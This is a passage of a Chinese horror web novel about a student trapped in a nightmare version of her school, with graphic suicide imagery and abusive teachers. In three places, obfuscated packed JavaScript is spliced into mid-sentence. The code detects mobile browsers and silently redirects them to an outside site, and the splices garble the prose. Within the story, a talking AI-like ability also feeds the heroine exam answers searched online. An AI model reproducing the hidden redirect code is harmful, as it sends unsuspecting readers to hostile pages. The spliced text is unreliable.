“是啊,你在异常调查科那里留档之后,规则就会更快地注意到你了。一个秘密,知道的人多了,可就不是什么秘密了,它总会有泄露的一天。” 零和幽幽地说:“然后规则就会把你这只珍稀动物做成一根稀有的小炸串,两面金黄外酥里嫩。” 纪采:“……” “那怎么办?你有办法不让别人看见我吗?” “当然,有一个万无一失、一劳永逸的办法。” “什么?” “在里世界用我的身份。” 纪采警觉:“用你的身份?怎么用你的身份?你是不是想坑我?答应了用你的身份,我就被你夺舍了吧?” 零和很认真地说:“怎么会?你是我的创造者,我的母体,我的归宿。在你需要我的时候,我会向你献上我的灵魂,我的力量,我的一切。” 纪采恶狠狠地打了一个寒颤:“得了吧你!反正肯定没好事!谁答应谁是傻子!” 零和叹气:“既然你不愿意,那你就只能尽量表现得像个被精神污染的普通人了。在寻找线索的时候,可以用【虚实幻真】,最好不要用真身出现,这样即使有玩家看到了你的投影,他也不知道你是谁。” 纪采如履薄冰地走下楼梯,用眼角余光观察着楼道内张贴的海报。 明明底色是积极向上夺人眼球的红色,却被昏沉的光线衬得殷红如血。上面写着“生命可以轮回,高考只有一次”“高考失利,人生失格”这类粗看没问题,细品却大有问题的标语。 “我明白了,不仅文科生不配活着,成绩不好也不配活着。这个山河中学也太畸形了……” 纪采四下张望,皱眉,“刚才我就想问了,为什么这个山河中学和上阳一中这么像?不,根本一模一样。因为它的主人就是一中的学生吗?” “因为它才刚刚侵入现实啊。随着时间的推移,吸取到的精神增加,它就会越来越像那个真正的山河中学。” 零和说,“比起最开始,它对现实的扭曲更深了……抬头,往外看。” 纪采站在四楼的走廊上,闻言抬头看向远处空旷的广场。 冬季的凌晨,天还是黑的,只有几盏雾蒙蒙的灯亮着。本该空无一物的广场中央不知什么时候多了一株茂盛的银杏,树冠如盖,叶片金黄,仿佛凝结了正午时分最耀眼的阳光。 它美丽得不真实,整棵树都笼罩在金灿灿的光晕里。 “好歹稍微尊重一下自然规律啊!现在是冬天好吗!” 纪采眼珠子都要瞪出来了,“事出反常必有妖!我去看看!” 她噔噔蹬地跑下楼梯,却在楼下撞见了刚才人间蒸发的老方,顿时像老鼠见了猫,咻地一下缩回了墙后面。 老方和一群老师打扮的人聚在一起,围着什么东西,叽叽喳喳地讨论。 “这都这个月的第几个了?现在的小孩,心理怎么都这么脆弱啊?我们上学的时候条件哪有他们现在这么好哟,他们还要死要活的。” “还有好多说自己抑郁症的呢,厌学,不读书。我看就是矫情!欠收拾!不愁吃不愁穿,能有什么压力?坐在那儿学习,还能要了命了?就是懒,不想读书,拿这个病当借口!” 那些老师的身体挡着,纪采看不见,但估摸着是刚才跳楼的人的尸体。广场的地砖上泼了大片大片的血,温热的红色液体流过他们脚底,向着四面八方蔓延出去。 老方毫不在意学生四分五裂的身体,蹲下身去,语重心长地说:“傻孩子,你连死都不怕了,还有什么好怕的呢?” 地上的头颅像个被摔破的西瓜,皮开肉绽,汁水横流。五官已经分家了,分不清哪里是鼻子哪里是嘴巴,混着血的空气从身体的孔洞里呜呜地穿行,带出破碎的气音。 “我……想死……好想……死……” 老方叹息着摇头,“哎,你们啊,总是想着逃避,用抑郁逃避,用死亡逃避。为什么就不能再坚持一下呢?别人不也能坚持吗?坚持很难吗?比死还难?谁不是这样过来的呢?” 大颗大颗的泪水从空洞里涌出来,砸在血泊里,溅起一圈圈涟漪。 “我坚持了好久,好久……还要……多久?到底……还要多久……” 老方怜悯地看着他:“熬到高考的日子不就好了么?三年,能有多长呢?三年之后,你的人生就是坦途。” 只要提到高考,这些老师好像就有说不完的话。老方又开始滔滔不绝:“你还小,你不懂,等你到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432874|169239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 社会上就知道了。对于我们这些平民阶层的孩子来说,高考就是唯一能往上爬的梯子。你不努力抓住这个改变自身阶级的机会,以后就只能被别人踩在脚底下,重复你父母被别人压在头上的悲惨命运……” “熬过三年……以后呢?以后……还有那么久。” 那微弱的声音撕心裂肺地哭号起来,“爬上去……一直往上爬……有那么多人,什么时候才能……休息一下?” 老方沉默良久。 “人生如逆水行舟,不进则退。我们这一辈子,都是在渡苦海啊。” 上阳市第一中学。 治安管理局对通往这所学校的道路进行了交通管制,外围拉起了警戒线,闪着警灯的防暴车和荷枪实弹的治安官把学校围得水泄不通。 此时还是早上七点多,路过买菜的大爷大妈对这大阵势好奇极了,在外围探头探脑,议论纷纷。 “咋了啊这是?出啥事了?” “不知道啊,阵仗这么大……” “听说是有持刀歹徒冲进学校劫持学生,狙击手都来了呢……” 校门口,一群浑身上下被白色防护服裹的密不透风的人提起喷枪一拥而上,对着一个穿着校服的男生狂喷消毒液,仿佛他是什么恐怖的病原体。 男生哇哇大叫,但他的反抗被无情镇压,被这些人拖进了一辆体积格外庞大的防暴车内。 一重又一重的安全门落下,锁死。男孩被喷了一道又一道的气雾制剂,最后缩在明亮温暖的小隔间内,裹着毛毯听着轻柔舒缓的纯音乐,茫然无措瑟瑟发抖。 “同学你好,我们是治安管理局异常调查科的工作人员,这是必要的处理流程,请不要惊慌。” 过了一段时间,音乐声停止,有些失真的人声从音响里传出。 “请问你还记得自己的身份吗?” 男孩的神情是肉眼可见的崩溃:“我还没醒吗,我……我叫秦桑,是上阳一中的学生。” 经过一番倒车轱辘话的问询之后,那道声音问他:“你从学校出来之前,发生了什么不同寻常的事情吗?” 秦桑顿住,眼神逐渐变得空茫迷离,像是起雾的玻璃:“不同寻常……啊,我今天一觉睡起来,发现我月考要迟到了——这怎么可能呢!” 秦桑一拳砸在地板上,情绪激动,声音高昂:“从小到大!我从来都没有迟到过!一次都没有!我每次考试都会提前两个小时起床!绝对不可能!我怎么可能考试迟到!假的!一定是假的……” “……目前只发现了这一个幸存者,精神值是非常罕见的2000,大多数人根本达不到这个数值。即使这样,他还是受到了精神污染。根据经验推测,这个副本的评级可以达到三星。” “但我们已经没有时间犹豫了,上阳一中里面有几千名师生……” 全身都被笼罩在黑色防护服里的两人走到校门前,伸手去触摸覆盖在边界处、凝结成实质的灰白色雾气。 【正在尝试登陆游戏……】 【登陆失败。觉醒副本运行中,拒绝外部访问!】 男人愣住,扭过头看自己身旁的人:“觉醒副本?队长,你的弟弟妹妹是不是也在一中上学?他们……” “事到如今,担心也没有用。三星级的觉醒副本,难道是因为这个幸存者的精神值拉高了系统判定吗……” 女人抬手捂住自己的头盔,深深地吸了一口气:“让新闻组赶紧准备通稿和赔偿方案,做好受害者家属的安抚工作。社会上那些媒体全都盯紧,一点风声也不许漏出去!” 耳麦里传来回复:“收到!” “把情况报告给首都……特大公共安全事故……把‘那东西’打包送过来,越快越好!” 5. 漫游指南 纪采离得远,听不太清他们在说什么。老师们站了一会儿,然后缓慢地让出了一条空隙来。 就像老方刚才人间蒸发一样,一个穿着保洁服的人也以同样突兀的方式出现在了广场上。他沉默地低着头,提溜着簸箕,把泥土覆盖在尸体上,然后用铁铲拍平,扒拉回簸箕里。 像极了某种处理呕吐物的方式。 纪采都不知道那么小一个簸箕里面怎么装得下那么多东西的。棕褐色的泥土饱饮了鲜血,地砖又变得一干二净,什么痕迹都没有。 老大爷佝偻着背,慢悠悠地走到那棵巨大的银杏树下,把簸箕里的泥土填了上去。 纪采瞳孔地震。纪采瞠目结舌。 她想起了某个说法,“长得好的植物底下都埋着尸体”。没成想今天看到了现场版本。 等那些人都离开了,广场上又变得空旷而寂静,只有那棵银杏树,在风里沙沙地摇着叶子。 纪采小跑上前,跑到刚才那个埋土的老大爷的位置。 没有血迹,没有腥味,树根下就连铲子夯实泥土的痕迹都没有,好像刚才这里什么都没有发生。 纪采不信邪,蹲下去开始徒手刨土。从底下翻起来的泥土是湿润的,纪采两指一碾,黑褐色的液体沁了出来。 “喵~” 很突兀地,从纪采身后传来了一声猫叫。 纪采浑身的汗毛都炸起来了,她一个猛子回头,看见一只肥美的大橘猫趴在地上。 那真的是一只很肥美的大橘猫。皮毛油光水滑的,被满地的金色衬得闪闪发亮。它老神在在地揣着两只爪子,慵懒地眯着眼睛,低垂的脑门上躺着一片边缘有些焦黄的银杏叶。 纪采看见那片叶子上面写了小小的字,笔迹纤细秀气。 “我想在阳光明媚的日子里漫无目的地游荡。” 这么特殊的东西,纪采要是认不出来这是道具,那她智商堪忧。 “咪咪~咪咪~” 纪采夹起矫揉造作的嗓音,小心翼翼地挪过去,“咪咪乖,不要动哦~” “你可以用异能【虚实幻真】,包跑不掉的。” 零和把胸膛拍得啪啪作响。 纪采顿住,警觉:“什么意思?这猫还会跑的?” “嗯哼。不要再畏首畏尾啦,我又不会害你!就算我真的是魔鬼,想要在里世界活下来,你也只能使用我的天赋了。” 零和嘻嘻地笑,笑得像个奸计得逞的小魔鬼,“机不可失时不再来,错过这村可就没这店啦!” 纪采僵在原地。 经过一番激烈的心理斗争,纪采狠狠一咬牙——舍不得孩子套不着狼,干了! 使用异能的感觉很奇妙,它就像看不见的第三只手,平时好像不存在,但你想用它的时候,它又确实存在。你要做的只是抬起手。 第一次用异能的过程很生涩,像是在用左手写字。纪采的脑子里一片天旋地转,强烈的反胃感让她想要呕吐。 纪采的眼前黑了好几秒,再恢复视力的时候,她看见了一动不动的自己。 纪采惊恐地尖叫,但嘴巴里发出了一声高亢的“喵!”。 纪采:? “不是?虚实幻真不是你的异能吗?不是你出现在物质世界吗?为什么是我夺舍啊?!” “我就是你的异能啊,只是会说话而已。” 零和轻飘飘地说。 纪采把猫爪子从温暖的肚皮下掏出来,扒拉自己毛茸茸的脑门,那片写着字的银杏叶打着旋飘落下来。 〈漫游指南〉 【星级:****】 【消耗型道具,可用次数:5。】 【“我想在阳光明媚的日子里 漫无目的地游荡 银杏树下 柑橘裹着糖霜打盹 拾起落叶 每条脉络都是 通往天空的方向 时间摊开掌心的褶皱 瞬息也如此漫长 飞鸟的轨迹在瞳孔中酝酿 凝结成黄昏的琥珀 将未来塞入生锈的钟表 让它和我一起不知去向”】 【 ???夹在自己诗集里的书签。使用后暂停周围环境的时间。】 淡蓝色的光屏悬浮在空气里,那片小小的叶子在上面变成了笔触稚拙的简笔画。 【异能道具:〈漫游指南〉,已收入背包。】 【特殊道具:〈幻灵·猫形〉】 【星级:*】 【记忆体的壳,外表是一只肥胖的橘猫。由某人美好的留念映照而成,蓬松的毛发都带着太阳晒过的香气。】 【特殊道具:〈幻灵·猫形〉,已收入背包。】 “当当当当~我搞来了游戏系统的一部分功能板块,怎么样,很贴心吧?” 零和给自己鼓掌。 橘猫翻了个大大的白眼以作回应:“这个打了问号的名字,八成就是副本的主人吧?学校里这么多人,我上哪找去?” 零和没来得及说话。纪采身后传来了隆隆的脚步声,人群奔跑,大地都在隐隐震颤。 她回头,看见学生们匆忙地从林荫道上飞奔而过,有的嘴里咬着包子,有的手里提着装了早餐的塑料袋。 纪采心想,刚吃了饭就剧烈运动对肠胃不好……等等,林荫道? 伶仃纤细的银杏树拔地而起,整齐地立在小道两旁,小扇子似的树叶黄澄澄的,只叶片边缘还未褪去青绿。 以纪采身后这棵巨大的银杏树为界线,划分出了两条道路。一条通往纪采原本的教学楼,另一条则通往一栋七层楼的建筑。 “我的天,什么时候?” 纪采揉了揉眼睛,猫咪的视角太矮,她看不到那栋新出现的楼房全貌。 “如你所见,里世界对现实的侵蚀已经越来越严重了,越往后就越难在这里存活下来,我们得抓紧时间。现在是六点四十五,早自习开始时间是七点,你还有十五分钟的活动时间。” 又是一阵在大摆锤上甩了好几道似的眩晕感,纪采找回了自己身体的控制权。她跪在地上掐着自己的脖子干呕,眼角渗出了生理性的泪水。 “呕……不行……你这异能,劲儿太大了!” 纪采站都站不稳,眼前一阵阵地泛黑,只能扶着树干。 “为什么不是你身体太差了?” 零和无情地报时,“还有十四分钟。” “纪采?你在这里干什么?” 背后传来了老方的声音。大橘猫如梦初醒,尖叫着炸毛跑走了,速度与体重成正比。 纪采想要站直却双腿发麻,扑通一声给老方行了个五体投地的大礼。 纪采急中生智:“老师!老师我背书呢!” 老方:? “在这里背书我觉得我的思维特清晰!特有劲!效果特别好!”纪采睁着眼睛说瞎话。 “老是在外面学习,你在教室学不进去怎么办?这个习惯你要改掉啊。” 老方叮嘱了几句,拐上了通往另一栋楼的岔路。 “老师你去哪呢?”纪采叫住了他。 老方竟然也回答了她,就像个正常的老师那样:“去行政楼,例行巡查。别在这待着,快回教室!” 老方慢悠悠地踱步走了。 纪采长舒一口气。 那个行政楼绝对藏了什么东西,不然不会专门安排老师去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432875|169239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巡逻。但是她要想个什么借口去那边呢? 纪采眼珠一转,扭头就爬回了自己的教室,从抽屉深处抽出来一本数学练习册。她把这本教辅夹在腋下,屁颠屁颠地蹦下楼。 纪采雄赳赳气昂昂地跨过了那棵巨大的银杏树,眼珠子在道路两旁来回转,不放过任何的蛛丝马迹。 行政楼每扇门上都挂着金色的门牌,上面写着“社团活动室”“心理咨询室”之类的名称,这倒是方便了纪采。 二楼,是教务处办公室。 三楼,财务办公室和人事处。 四楼,纪采迎面撞上了背着手走路的老方。 老方低头看了一眼手表,盯着纪采的眼神有点危险:“快要上早自习了,你在这干嘛呢?” 纪采早有准备,激动地抽出了夹在胳肢窝里的数学题:“我是来找老师您的!有道题我实在不会做,迫不及待地来找您了!” 老方狐疑地看着她:“不知道问同学吗?非得来找我?你是不是想到处闲逛,拿我当借口?” “哪能呢老师!您怎么能怀疑我对学习的热爱?” 纪采像个被传销洗脑了的狂热分子,谄媚又狗腿地凑了上去:“您是谁!我们是谁?您吃的盐比我们吃的饭还要多!姜还是老的辣啊!我就觉得您讲得特别好,思路特别清晰,让我醍醐灌顶、茅塞顿开啊!” 老方半信半疑:“之前怎么没见你这么热爱学习?” “听君一席话,胜读十年书啊!经过老师您的教育,我觉得我以前都是虚度光阴!我决定痛改前非,好好学习天天向上了!” 纪采信誓旦旦地说。 老方的神色这才缓和下来:“有这个觉悟就好!走吧,该回去了,我到教室给你讲。” 老方转身下楼,纪采热情洋溢的眼神立刻冷了下来。她扫了一眼办公室的门牌,跟着老方走下了楼梯。 纪采状似无意地跟老方闲聊:“老师,这个行政楼有七层,您每天都爬这么高,还要去别的地方,累不累啊?” “习惯了就好了,也不是每天都要巡逻。” “噢,轮班啊,那多久轮到您啊?这种巡逻交给学生不就好了吗?巡逻又不是老师的本职工作,多累啊。” 老方回头瞟了她一眼:“你们学生只要专心学习就好了,其他的不是你们该想的事!” 纪采假笑:“我这不是关心老师您吗?再说了,老师您的时间被这种杂事给占了,我上哪找您问题目去?” 油盐不进!嘴巴这么紧干嘛?作为一个NPC,你不给线索,这合适吗?放在游戏里你要被投诉的! 老方“哼”了一声,没再说话。 纪采暗地里恨恨地磨牙,脸上却依然笑嘻嘻的:“方老师,我平时都没来过行政楼这边呢。我看一楼有社团活动室,咱们学校还有社团呢?是不是有文学社,诗社啊?” “少去加那些个乱七八糟的社团!浪费时间!学生就该专心学习!” 老方恶声恶气地说。 纪采附和:“就是就是,那学校还设这些社团干嘛呢?这种影响学习的东西就应该取消才对!什么文学啊诗歌啊,半点用没有!” 老方点头:“你能这么想就好。上面的人搞的这个,我只是一个老师而已,我又不能说什么。” 反应这么平静?她都说诗歌是没用的东西,这个副本的主人应该给点回应才对啊?她都准备好用那片叶子开溜了! 难道NPC和那个人不是一拨的?那个人没法控制这些NPC? “上面的人?是校长吗?” 纪采抬头往天花板望了一眼,“校长办公室是不是也在这里?” “大人的事,小孩子少管!” 6. 选择 “行政楼一楼有社团活动室,老方没否认文学社的存在,我猜那里可能有和副本主人相关的线索,比如夹了那片叶子的诗集。” “二楼教务,三楼财务和人事,四楼后勤,再加一层领导办公室,剩下的两层里面肯定有管学生档案的,说不定能在那里找到副本主人的身份信息。” 纪采看似坐在座位上认真写数学题,其实是在脑内和零和整理情报,“直接去翻档案是大海捞针,所以我们得先去一趟社团活动室找线索,诗集上应该会写名字,有了名字就能找人了。” “你这么确定副本核心是学生?”零和问道。 “不是学生会有这么大的怨气?它把整个学校都变成里世界了啊!” 纪采翻白眼,“不管是小说还是游戏,这种剧情都写烂了。女性被害就是拐卖冥婚红嫁衣,学生被害就是宿舍厕所跳天台。我跟你赌一包辣条,晚上回去宿舍绝对还有一波大的等着我呢……” 零和沉默。 纪采也沉默了。然后她啐了自己一口:“呸呸呸!我咒我自己干嘛呢!” 零和微笑:“该来的总会来的。” “但是你质疑的也有道理,万一它就是不按套路来呢?老方之前提到了‘上面的人’,校长就是一手塑造了这个变态中学的人啊。” 纪采用水笔在草稿纸上哒哒哒地戳洞,“校长有可能是这个副本的核心吗?我觉得不太像啊。不过就算他不是,地位肯定也不低,毕竟是校长嘛,怎么也得当个小boss精英怪吧?” 一个长方形物体凌空飞来,纪采光顾着拿笔戳洞,没留神闪躲,被这玩意儿正中眉心。粉尘飞溅,异物不仅进入了眼睛,还呛进了气管里面。纪采剧烈地咳嗽起来。 “站起来!” 老方揪着纪采的后衣领,强行把咳得眼泪汪汪的纪采从座位上提溜了起来。 “啪!” 迎面而来的一巴掌扇得纪采整个脑袋都偏了过去。大脑一片空白,直到火辣辣的疼痛烧上脸颊,她才反应过来自己被人扇脸了。 “清醒没有?嗯?” 老方瞪着她,脸上是毫不掩饰的恶意:“非得我扇你一巴掌你才肯好好学习?你是不是贱啊?” 纪采捂着火烧火燎的半边脸颊转过头来,瞪大了眼睛看着老方。 一股灼热的血流在胸膛里沸腾,呼啸着直冲天灵盖。纪采涨红了脸,差点没跳起来把这一巴掌扇回去。 这一刻她无比希望自己的异能具有强烈的攻击性,这样她就能把黑板擦塞到这畜生嘴里,让它跪在地上吃下去。 周围的同学都很安静,连头都没抬起来过一下。他们对于这样的动静似乎习以为常。 老方被纪采的眼神气笑了:“看什么看?你还不服气啊?蠢得像头猪就算了,你还好意思发呆?你配吗?这节你就站着上吧!” 纪采没说话,只是盯着他,眼睛里像点了一把火。 老方脸上的肌肉开始轻微地痉挛,神情说不上是愤怒还是恐惧:“你这是什么眼神?你想被叫家长是吧?不想读书就别读了!你一辈子只能当社会底层的垃圾!” “你冷静一点,气不是在这时候撒,小不忍则乱大谋。” 零和按住纪采的蠢蠢欲动:“早预备之后就是月考了,你不能因为这么可笑的理由被规则淘汰吧?” 纪采深吸一口气,把头低了下去。 被强行按下的怒火烧得纪采脸颊滚烫,胸膛里憋了一口气,上不去下不来。在脑海里她把老方煎炸烹煮碎尸万段,就这样忍耐着一直站到了七点三十五分。 下课铃打响了,面色青白双目淌血的学生们动作机械地站起来,活像半夜僵尸破土起身。五六十个人低垂着头,闷声不吭地把彼此的桌椅拉开。 纪采趁乱从教室后门溜了出去。 “下课时间十分钟,这点时间不够你去行政楼吧?”零和问道。 纪采面无表情:“你们人工智能从来不考虑人类的正常生理需求吗?” 从昨天晚上到今天早上,她已经蓄了足足八个小时的水,现在膀胱正处于爆炸的边缘。 零和诡异地沉默了一下:“抱歉。” 接着他又说:“不过,你不是说学生被害就是宿舍、厕所和天台吗?” 纪采走向厕所的步伐停住了。 零和语带怜悯:“要不,你克服一下?人类的意志远比你想象的强大,我相信你可以的。” “不,我不可以。” 纪采在走廊上调了个头,毅然决然地拐下了楼梯,走向广场上那棵大银杏树,转身绕进了后面的小树林里。 纪采提着自己的裤头,一脸深沉:“谢谢你的提醒,我的崽。你也要相信,办法总比困难多。好了,接下来非礼勿视,你闭麦吧。” 零和:“……” 纪采给某丛不知名灌木浇了水,一阵身心舒畅。但是想到几分钟之后要开始的月考,她的心情又沉痛起来。 纪采忧愁地问道:“要是考试考得不好有什么后果啊?” 在老方的嘴里,学习不好的人就是垃圾、残次品,大概不能算个人。 “垃圾就该待在垃圾桶里”,这句话实在很难不让纪采多想。“学习不好就会死”这句话在这个里世界说不定真的会应验。 “你指责我截胡规则书,自己却连看都不看一眼……”零和无语了。 纪采哽住:“我这不是没时间看吗!魂都快被吓飞了!” 系统的功能模块真的很神奇,只要集中精神在心里默念一声就会有悬浮光屏弹出来。规则书是一本半透明的小册子,书页是水晶一样蓝汪汪的屏幕,还具有目光跟随自动翻页功能。 “山河中学对学生的考核实行计分制,在学习生活中违反校规校纪会扣除综合素质分。分数不达标的学生将会被通知家长进行批评教育,情节严重者进行劝退或开除。” “……每周的周测,每月的月考,以及期中、期末考试,根据考试成绩和综测分数分配班级和学号,并且实行末位淘汰制。排名在后百分之十的学生会被要求写检讨书,并通知家长……” 纪采直翻白眼:“条条框框多得我都快晕字了!我还以为多大事呢,大不了退学呗!快开除我吧!这破学校谁爱上谁上!我坐牢都比这个舒服!” “需要我再次提醒你,这里是里世界吗?” 零和无奈地叹气,“这里的底层规则就是‘强者生存’啊,开除就等于淘汰,淘汰就等于死亡。” “那我完了,我对这些题目一窍不通好吧。” “你不会我会啊。” 零和把胸脯拍得啪啪响:“我就是你最坚实的后盾!别的玩家辛苦做题,而我们可以联网搜索!” 纪采的眼神仍然像一条死去多时的咸鱼:“是啊,别的玩家神挡杀神佛挡杀佛,而我只能苟活。” “你不会因为我不能打,就觉得我很弱吧?” 零和为自己辩驳:“【虚实幻真】可是连系统都忌惮的王牌!” “不,只是人总是会羡慕自己没有的东西。” 纪采想得很开,“如果我的异能是攻击类的,我又会觉得黑客的能力很帅。” “你……” 零和噎了半天,“算了,我还要纠正你一点,别的玩家也没有神挡杀神佛荡杀佛!刚觉醒的异能者都是很弱的,我可以毫不夸张地说,【虚实幻真】和【无限空间之王】才是最适合这个副本的异能!” 返回教室的时候刚好打了上课铃,学生们在把一叠叠试卷纸往后传。原本拼在一起的桌椅被拉开,纪采要把自己劈成两半才能挤进去。 监考的不是老方,是个不认识的年轻女老师。她坐在讲台上,阴阳怪气地说:“你那泡尿就非得撒吗?脑子连下半身都管不住,还指望你管住什么?来,我看你现在要怎么进去?” 其实上辈子纪采也不是没遇见过师德败坏的教育工作者。纪采恨了数学两辈子,就因为她小学的数学老师——大概是一朝被蛇咬十年怕井绳,又或者是恨屋及乌。 没有相似经历的人大概很难理解。就像没被狗咬过的人不明白为什么会有人怕狗——狗狗这么可爱,有什么好怕的呢? 没遇见过那种烂人的幸运儿大概也没法想象在这个世界上居然还有坏老师。 纪采“养生”很久了,久到她都快忘记自己小时候其实挺叛逆的,被三角尺打得头破血流也不肯松嘴,差点咬穿数学老师的手背。 纪采爬上了一个同学的桌面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432876|169239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,然后踩着一个又一个人的桌子,跳到了自己的座位上。 “规则没有说我不能踩桌子吧?” 纪采坐在位置上摊手,露出一个优雅礼貌的微笑:“我也是为了节省时间快点考试哈,抱歉抱歉。” 女老师眼角抽搐,呼吸粗重,却一句话也说不出来。 纪采神清气爽地坐在椅子上看卷面。她怎么就没重生回小时候呢?动手实在是下下之策,要是换了现在的她回去,保管气得那老登折寿十年。 她的同学们被踩脏了桌子也没什么反应,只顾着埋头写题。纪采抽出笔,在卷子的侧边写上自己的学号“18101555”。 里世界的网速意外地不错,零和搜题很快,他报一个字纪采就往试卷上填一个字。 读书不好的人被这个副本卷进来真是倒了血霉。 “你说的那个异常调查科,应该挺厉害的吧?毕竟是官方,能解决这个副本吧?上阳一中有三千多个人唉。” “所有的异能者都是系统制造的,想用异能反过来对付系统几乎是不可能的事。” 零和顿了顿:“不过你可以,因为你不在系统的体系内。” 纪采皱着脸:“你这样说我会觉得压力很大……我当了这么多年安分守己的小市民,你现在告诉我要天降大任于斯人也了?” “你也可以选择咬掉饵,把钩吐回去,然后用尾巴狠狠地抽老天的脸。抛弃个人良心,享受缺德人生。” “我很喜欢我的良心,暂时还不想让它变成孤儿……但是我觉得我已经在弃养它的边缘了。” 数学、物理、化学、生物。四张卷子,四门课程,一个上午。 十二点下课铃一响,所有人都像个弹簧似的从座位上弹射出去,争先恐后地跑了。 “他们去吃午饭了,不过你不需要。十二点四十五午休查寝,预留十分钟赶路,我们有半个小时的活动时间。” 零和贴心地安排好了时间:“现在做出你的选择吧救世主,你想独善其身还是兼济天下?” “我有个屁的选择,两个选项不都要开地图吗?我总不可能等死吧?” 纪采无语地翻白眼:“开地图太危险了,有什么能抵抗精神污染的道具吗?” “有啊,系统商城里有卖,玩家能用积分换到。不过我摸着系统的屁股偷点信息还行,涉及到商城我就没办法喽,人家可是抓在手心里抠得死死的。” 零和遗憾地叹息,“道具是指望不上了,只能寄希望于提升精神强度。高频次使用异能可以提高精神值,精神值越高,受到精神攻击的伤害就越小。” “说到这个,我想起来,这次异常入侵还发现了一朵奇葩。” 零和饶有兴味地说,“秦桑,精神值2100,而普通人只有500左右。这哥们儿直接靠着超规格的精神值,强行跳过副本流程带走了异能,真是钢铁般的意志,踩狗屎般的运气。” 噢,秦桑,略有耳闻。年级第一的学霸,据说是卷王王中王。 纪采问道:“那我的精神值是多少?” “521,除去穿越者的身份,你真是普通人中的普通人呢。不过这样也好,低于800的精神值不会引起异常调查科的怀疑。只要你不被其他玩家注意到,你的身份就不会暴露。” 纪采感觉自己的呼吸有些发紧:“如果我要破解这个里世界的核心,难道我的精神值要从500搞到2000吗?那我得在这儿待多久啊?” “山河中学是一个特殊的觉醒副本,规则在玩家身上种下种子,只有考验合格的‘土壤’才能让异能力发芽。系统的育种室不允许有外部干扰,导致留下‘劣质的种子’。只能等有人破坏里世界核心,或者游戏筛选完所有异能者主动结束副本。” 零和回答,“所以我才说你有两个选择。即使你不去探索地图、不去破坏核心,有我在你也能一直在考试里拿到高分,不用担心淘汰。” 只要安心躺平就能苟活的选择实在是太诱人了。但是人总是会羡慕自己没有的东西,一辈子待在乡下种田的村民偶尔也会羡慕拿着宝剑踏上屠龙征途的勇者吧? 现在这把宝剑砸到你脑门上了。那些伟大征途,那些意气风发,全都在对着你招手。 7. 新绿 “这不是分数的问题,” 纪采在内心天人交战良久,最后沉痛地说:“而是这个鬼地方实在不具备正常人生存条件的问题。再待下去我就要发疯了!” 这个点了,所有人都跑着去吃饭。但是楼梯口只有那么宽,流量有限。一楼的人已经在广场上跑远了,五楼的人还被堵在上面。 纪采混进人群里。趁着周围所有人都一心吃饭,没人注意她,哧溜一下钻到了岔路口那棵大银杏树背后。 片刻之后,一只橘猫凭空出现。它睡意朦胧地甩了甩头,宿醉未醒似的,一步三晃。 第一次用四条腿走路,纪采起初还不太习惯。 从岔路口到行政楼下,纪采也从连滚带爬变成了前后腿顺拐。 眼前的视野变得灰蒙蒙的,却清晰了不少,好比多年近视患者一朝矫正了视力。 社团活动室有两间,其中一间的门上额外挂了几个门牌,上面的字迹已经锈掉了,隐约能看见“新绿”“示范”“优秀社团”几个字。 猫咪的身体展现出了和体重完全不符的轻盈,纪采一个纵跃,轻轻松松地跳上了窗台。 窗帘没拉,室内景象一览无遗。 房间里面的装潢是好几十年前的风格,老旧感扑面而来,和现代化的校园格格不入。 室内地板是裸露的青灰色水泥,墙面粉刷的腻子已经发黄了,爬了许多黑色的霉点。靠墙的是一排书柜,淡绿色的漆皮剥脱了不少,露出底下毛毛刺刺的棕色木板。 原本纪采还不确定能不能在这里找到那本诗集,已经做好了无功而返的准备。但是这个房间的风格如此特殊,她几乎可以肯定里面有线索。 橘猫用爪子扒拉窗户,发现玻璃被锁住了,打不开。 房间里面正对着纪采的那面墙也有窗户。和这边铝合金窗框的窗户不同,对面的窗户是老旧的平推式窗户,木质窗框上淡绿色的漆皮掉得东一块西一块。而且它开得特别高,几乎挨着天花板。 灿烂的阳光投射在玻璃上,印下斑驳的树影。叶片摇动,像是一把把小扇子。 ……银杏? “诗集,诗集,诗集……哪里有诗集?” 隔着玻璃,纪采的眼睛在柜子里的一排排书脊上逡巡,很快她就锁定了几个目标。 橘猫从窗台上跳下来,跑过长长的走廊,绕到了行政楼的背面。 那里也生长着一株巨大的银杏树,枝叶茂盛,冠盖如伞,恣意蜿蜒的枝干抵近了五楼的高度。 纪采鼓起勇气纵身一跃。猫咪的爪子堪比钉鞋,她三两步就攀着树干爬上了一枝垂向低处的树杈。 “刺激!灵活的胖子原来真的存在啊!” 从晃晃荡荡的树枝上跳下来飞扑上窗台,纪采的心脏砰砰直跳。 